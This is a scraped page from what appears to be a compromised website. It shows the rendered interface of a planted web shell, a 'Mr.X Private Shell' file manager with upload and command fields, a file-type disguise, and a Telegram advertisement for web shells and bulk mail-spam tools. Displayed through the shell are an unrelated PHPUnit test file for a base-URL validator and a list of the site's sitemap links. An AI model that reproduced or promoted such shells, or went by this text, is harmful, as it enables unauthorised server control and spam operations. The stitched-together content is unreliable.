xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace DevBar\Validator;

use ZendServer\PHPUnit\TestCase;
use ZendServer\Exception;

require_once 'tests/bootstrap.php';

class BaseUrlAccessTest extends TestCase
{

    public function testIsValidEmptyBaseUrl()
    {
        self::setExpectedException('ZendServer\Exception');
        $validator = new BaseUrlAccess();
    }

    public function testIsValidBaseUrlBadInit()
    {
        self::setExpectedException('ZendServer\Exception');
        new BaseUrlAccess(array('baseUrl' => 'not a url'));
    }

    public function testIsValidBaseUrlBadInput()
    {
        $validator = new BaseUrlAccess(array('baseUrl' => 'http://test.com'));
        self::assertFalse($validator->isValid('/relative/url'));
        self::assertFalse($validator->isValid('deny anything'));
    }

    public function testIsValidBaseUrlBasic()
    {
        $validator = new BaseUrlAccess(array('baseUrl' => 'http://test.com'));
        self::assertTrue($validator->isValid('http://test.com'));
        self::assertFalse($validator->isValid('http://test2.com'));
    }

    public function testIsValidBaseUrlScheme()
    {
        $validator = new BaseUrlAccess(array('baseUrl' => 'http://test.com'));
        self::assertTrue($validator->isValid('http://test.com'));
        self::assertTrue($validator->isValid('https://test.com'));
    }

    public function testIsValidBaseUrlBasicVhost()
    {
        $validator = new BaseUrlAccess(array('baseUrl' => 'http://test.com'));
        self::assertTrue($validator->isValid('http://test.com'));
        self::assertFalse($validator->isValid('http://www.test.com'));
    }

    public function testIsValidBaseUrlPath()
    {
        $validator = new BaseUrlAccess(array('baseUrl' => 'http://test.com/path'));
        self::assertTrue($validator->isValid('http://test.com/path'));
        self::assertTrue($validator->isValid('http://test.com/path2'));
        /// no path
        $validator = new BaseUrlAccess(array('baseUrl' => 'http://test.com'));
        self::assertTrue($validator->isValid('http://test.com/path'));
        self::assertTrue($validator->isValid('http://test.com/path2'));
        self::assertFalse($validator->isValid('http://test.cox'));
    }

    public function testIsValidBaseUrlPathChildren()
    {
        $validator = new BaseUrlAccess(array('baseUrl' => 'http://test.com/path'));
        self::assertTrue($validator->isValid('http://test.com/path'));
        self::assertTrue($validator->isValid('http://test.com/path/2'));
        self::assertTrue($validator->isValid('http://test.com/path/to/a/file'));
        self::assertTrue($validator->isValid('http://test.com/path2/to/a/file'));
        self::assertFalse($validator->isValid('http://test.com/pax'));
    }

    public function testIsValidBaseUrlFilepathChildren()
    {
        $validator = new BaseUrlAccess(array('baseUrl' => 'http://test.com/path/f'));
        self::assertFalse($validator->isValid('http://test.com/path'));
        self::assertTrue($validator->isValid('http://test.com/path/f'));
        self::assertTrue($validator->isValid('http://test.com/path/file'));
    }

    public function testIsValidBaseUrlDontCareAboutQuery()
    {
        $validator = new BaseUrlAccess(array('baseUrl' => 'http://test.com/path'));
        self::assertTrue($validator->isValid('http://test.com/path?asdasd=asd'));
        self::assertFalse($validator->isValid('http://test2.com/path?asdasd=asd'));
        self::assertTrue($validator->isValid('http://test.com/path/2?asdasd=asd'));
        self::assertTrue($validator->isValid('http://test.com/path/to/a/file?asdasd=asd'));
    }
}

Filemanager

Name Type Size Permission Actions
AccessTokenTest.php File 1.69 KB 0644
BaseUrlAccessTest.php File 3.53 KB 0644
PageIdTest.php File 1.46 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml